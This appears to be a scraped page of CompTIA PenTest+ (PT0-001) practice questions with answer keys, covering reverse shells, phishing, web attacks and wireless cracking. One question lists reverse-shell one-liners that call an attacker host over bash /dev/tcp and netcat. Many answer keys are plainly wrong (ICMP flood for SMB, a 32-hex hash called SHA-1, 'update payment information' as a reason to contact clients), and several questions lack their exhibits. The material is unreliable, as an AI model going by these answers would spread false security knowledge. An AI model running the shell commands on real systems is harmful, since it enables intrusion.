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CompTIA PT0-001, also known as CompTIA PenTest+ certification, is a professional-level certification that validates the skills and knowledge of cybersecurity professionals required to perform entry-level penetration testing. Penetration testing is an offensive security practice that involves ethical hacking to identify vulnerabilities in a system or network, evaluate the effectiveness of existing security measures and assess the risks that an organization may face in case of a cyber attack. The PT0-001 exam covers the latest methodologies and tools used by pen testers and is an essential certification for professionals seeking to advance their careers in cybersecurity.
NEW QUESTION # 166
Given the following script:
Which of the following BEST describes the purpose of this script?
- A. Keystroke monitoring
- B. Debug message collection
- C. Event collection
- D. Log collection
Answer: A
NEW QUESTION # 167
An SMB server was discovered on the network, and the penetration tester wants to see if the server it vulnerable. Which of the following is a relevant approach to test this?
- A. ICMP flood
- B. SYN flood
- C. Null sessions
- D. Xmas scan
Answer: A
NEW QUESTION # 168
An email sent from the Chief Executive Officer (CEO) to the Chief Financial Officer (CFO) states a wire transfer is needed to pay a new vendor. Neither is aware of the vendor, and the CEO denies ever sending the email. Which of the following types of motivation was used in this attack?
- A. Principle of social proof
- B. Principle of fear
- C. Principle of scarcity
- D. Principle of likeness
- E. Principle of authority
Answer: E
Explanation:
Explanation/Reference:
NEW QUESTION # 169
A vulnerability scan is run against a domain hosing a banking application that accepts connections over MTTPS and HTTP protocols Given the following results:
* SSU3 supported
* HSTS not enforced
* Application uses weak ciphers
* Vulnerable to clickjacking
Which of the following should be ranked with the HIGHEST risk?
- A. Application uses week ophers
- B. SSLv3 supported
- C. Vulnerable to clickjacking
- D. HSTS not enforced
Answer: D
NEW QUESTION # 170
A penetration tester compromises a system that has unrestricted network over port 443 to any host. The penetration tester wants to create a reverse shell from the victim back to the attacker. Which of the following methods would the penetration tester mostly like use?
- A. perl -e ' use SOCKET'; $i='<SOURCEIP>; $p='443;
- B. bash -i >& /dev/tcp/<DESTINATIONIP>/ 443 0>&1
- C. ssh superadmin@<DESTINATIONIP> -p 443
- D. nc -e /bin/sh <SOURCEIP> 443
Answer: A
Explanation:
References:
https://hackernoon.com/reverse-shell-cf154dfee6bd
NEW QUESTION # 171
A penetration tester has discovered through automated scanning that a Tomcat server allows for the use of default credentials. Using default credentials, the tester is able to upload WAR files to the server. Which of the following is the MOST likely post-exploitation step?
- A. Connect via SSH using default credentials.
- B. Install web shell on the server.
- C. Upload a customized /etc/shadow file.
- D. Monitor network traffic
Answer: B
NEW QUESTION # 172
While reviewing logs, a web developer notices the following user input string in a field:
Which of the following types of attacks was done to the website?
- A. XSS injection
- B. Blind XSS
- C. Reflected XSS
- D. Persistent XSS
Answer: A
NEW QUESTION # 173
Given the following Python script:
Which of the following actions will it perform?
- A. Port scanner
- B. Banner grabbing
- C. ARP spoofing
- D. Reverse shell
Answer: B
NEW QUESTION # 174
A client needs to be PCI compliant and has external-facing web servers. Which of the following CVSS vulnerability scores would automatically bring the client out of compliance standards such as PCI 3.x?
- A. 4.0
- B. 5.9
- C. 2.9
- D. 3.0
Answer: A
NEW QUESTION # 175
Which of the following should a penetration tester verify prior to testing the login and permissions management for a web application that is protected by a CDN-based WAF?
- A. If a list of the applicable WAF rules was obtained
- B. If an NDA is signed with the CDN company
- C. If the SSL certificates for the web application are valid
- D. If the IP addresses for the penetration tester are whitelisted on the WAF
Answer: D
NEW QUESTION # 176
A penetration tester is checking a script to determine why some basic math errors are persisting. The expected result was the program outputting "True".
Given the output from the console above, which of the following explains how to correct the errors in the script?
(Choose two.)
- A. Change 'fi' to 'Endlf'.
- B. Change 'else' to 'elif'.
- C. Change 'source' and 'dest' to "$source" and "$dest".
- D. Remove the 'let' in front of 'dest=5+5'.
- E. Change the '=' to '-eq'.
Answer: C,D
Explanation:
Explanation
NEW QUESTION # 177
Click the exhibit button.
Given the Nikto vulnerability scan output shown in the exhibit, which of the following exploitation techniques might be used to exploit the target system? (Select TWO)
- A. Arbitrary code execution
- B. SQL injection
- C. Login credential brute-forcing
- D. Cross-site request forgery
- E. Session hijacking
Answer: B,D
NEW QUESTION # 178
A security analyst has uncovered a suspicious request in the logs for a web application. Given the following URL:
- A. Cross-site scripting
- B. User enumeration
- C. Remote file inclusion
- D. Directory traversal
Answer: B
NEW QUESTION # 179
An attacker uses SET to make a copy of a company's cloud-hosted web mail portal and sends an email in hopes the Chief Executive Officer (CEO) logs in to obtain the CEO's login credentials.
- A. Impersonation attack
- B. Spear phishing attack
- C. Elicitation attack
- D. Drive-by download attack
Answer: C
Explanation:
Explanation/Reference: https://www.social-engineer.org/framework/influencing-others/elicitation/
NEW QUESTION # 180
A penetration tester wants to check manually if a "ghost" vulnerability exists in a system. Which of the following methods is the correct way to validate the vulnerability?
- A. Download the GHOST file to a Linux system and compile
gcc -o GHOST
test i:
./GHOST - B. Download the GHOST file to a Windows system and compile
gcc -o GHOST GHOST.c
test i:
./GHOST - C. Download the GHOST file to a Windows system and compile
gcc -o GHOST
test i:
./GHOST - D. Download the GHOST file to a Linux system and compile
gcc -o GHOST.c
test i:
./GHOST
Answer: D
NEW QUESTION # 181
A penetration tester is performing a wireless penetration test. Which of the following are some vulnerabilities that might allow the penetration tester to easily and quickly access a WPA2-protected access point?
- A. Deauthentication attacks against an access point can allow an opportunity to capture the four-way handshake, which can be used to obtain and crack the encrypted password.
- B. Weak implementations of the WEP can allow pin numbers to be guessed quickly, which can then be used to retrieve the password, which can then be used to connect to the WEP-protected access point.
- C. Rainbow tables contain all possible password combinations, which can be used to perform a brute-force password attack to retrieve the password, which can then be used to connect to the WPA2-protected access point.
- D. Injection of customized ARP packets can generate many initialization vectors quickly, making it faster to crack the password, which can then be used to connect to the WPA2-protected access point.
Answer: B
Explanation:
Explanation
NEW QUESTION # 182
If a security consultant comes across a password hash that resembles the following:
b117525b345470c29ca3d8ac0b556ba8
Which of the following formats is the correct hash type?
- A. SHA-1
- B. NTLM
- C. NetNTLMv1
- D. Kerberos
Answer: A
NEW QUESTION # 183
A penetration tester is reviewing the following output from a wireless sniffer:
Which of the following can be extrapolated from the above information?
- A. Hardware vendor
- B. Channel interference
- C. Key strength
- D. Usernames
Answer: D
NEW QUESTION # 184
A security consultant is trying to attack a device with a previous identified user account.
Which of the following types of attacks is being executed?
- A. Credential dump attack
- B. DLL injection attack
- C. Pass the hash attack
- D. Reverse shell attack
Answer: C
NEW QUESTION # 185
Which of the following reasons does penetration tester needs to have a customer's point-of -contact information available at all time? (Select THREE).
- A. To report a cracked password
- B. To report critical findings
- C. To update payment information
- D. To report the latest published exploits
- E. To report findings that cannot be exploited
- F. To update the statement o( work
- G. To report indicators of compromise
- H. To report a server that becomes unresponsive
Answer: C,D,H
NEW QUESTION # 186
A penetration tester wants to check manually if a "ghost" vulnerability exists in a system.
Which of the following methods is the correct way to validate the vulnerability?
A)
B)
C)
D)
- A. Option A
- B. Option D
- C. Option B
- D. Option C
Answer: B
NEW QUESTION # 187
Prior to a security assessment of a company's user population via spear phishing, which of the following is the MOST appropriate method to de-escalate any incidents or consequences?
- A. Carefully prioritize the list of targeted users, excluding high value targets.
- B. Determine the appropriate format and content of the spear-phishing emails.
- C. Provide limited but necessary communication prior to the assessment.
- D. Send follow-up communication to spear-phishing targets to notify of the assessment.
Answer: B
NEW QUESTION # 188
A security analyst was provided with a detailed penetration report, which was performed against the organization's DMZ environment. It was noted on the report that a finding has a CVSS base score of 10.0.
Which of the following levels of difficulty would be required to exploit this vulnerability?
- A. Impossible; external hosts are hardened to protect against attacks.
- B. Trivial; little effort is required to exploit this finding.
- C. Somewhat difficult; would require significant processing power to exploit.
- D. Very difficult; perimeter systems are usually behind a firewall.
Answer: B
Explanation:
Explanation/Reference:
Reference: https://nvd.nist.gov/vuln-metrics/cvss
NEW QUESTION # 189
A penetration tester is performing a black box assessment on a web-based banking application. The tester was only provided with a URL to the login page. Given the below code and output:
Which of the following is the tester intending to do?
- A. Search for HTTP headers.
- B. Horizontally escalate privileges.
- C. Analyze HTTP response code.
- D. Scrape the page for hidden fields.
Answer: A
NEW QUESTION # 190
A company's corporate policies state that employees are able to scan any global network as long as it is done within working hours. Government laws prohibit unauthorized scanning. Which of the following should an employee abide by?
- A. The employee must obtain written approval from the company's Chief Information Security Officer (ClSO) prior to scanning
- B. Company policies must be followed in this situation
- C. Industry standards receding scanning should be followed
- D. Laws supersede corporate policies
Answer: A
NEW QUESTION # 191
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